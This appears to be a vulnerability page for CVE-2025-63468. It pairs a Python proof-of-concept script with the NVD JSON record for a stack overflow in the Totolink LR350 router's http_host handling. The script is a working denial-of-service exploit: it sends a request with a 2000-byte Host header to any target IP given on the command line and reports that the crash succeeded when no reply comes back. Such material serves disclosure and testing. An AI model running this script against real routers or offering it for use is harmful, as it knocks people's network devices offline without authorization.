CVE-2025-63468

#!/usr/bin/env python3 """ CVE-2025-63468 PoC - Totolink LR350 Stack Overflow via http_host Parameter This PoC demonstrates the stack overflow vulnerability in the sub_426EF8 function """ import socket import sys def exploit_totolink_lr350(target_ip, target_port=80): """ Send a crafted HTTP request with oversized http_host parameter to trigger stack overflow in sub_426EF8 function """ # Create a long string to overflow the stack buffer # Adjust the length based on target buffer size overflow_length = 2000 # May need adjustment overflow_string = "A" * overflow_length # Craft malicious HTTP request http_request = f"GET / HTTP/1.1\r\n" http_request += f"Host: {overflow_string}\r\n" http_request += f"User-Agent: Mozilla/5.0\r\n" http_request += f"Accept: */*\r\n" http_request += f"Connection: close\r\n\r\n" try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious HTTP request with {overflow_length} byte http_host parameter") sock.send(http_request.encode()) print(f"[*] Request sent, waiting for response...") try: response = sock.recv(4096) print(f"[*] Received response: {response[:100]}") except socket.timeout: print("[+] No response received - target may have crashed (DoS successful)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_totolink_lr350(target, port)

{"cve": {"id": "CVE-2025-63468", "sourceIdentifier": "[email protected]", "published": "2025-10-31T16:15:41.020", "lastModified": "2025-11-05T17:30:55.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Totolink LR350 v9.3.5u.6369_B20220309 was discovered to contain a stack overflow via the http_host parameter in the sub_426EF8 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr350_firmware:9.3.5u.6369_b20220309:*:*:*:*:*:*:*", "matchCriteriaId": "6E7C618F-D415-4075-96A5-45E44B52FB62"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr350:-:*:*:*:*:*:*:*", "matchCriteriaId": "4CA0663B-3F55-44EF-AF32-F83AB0411748"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/LR350/1/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/LR350/1/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}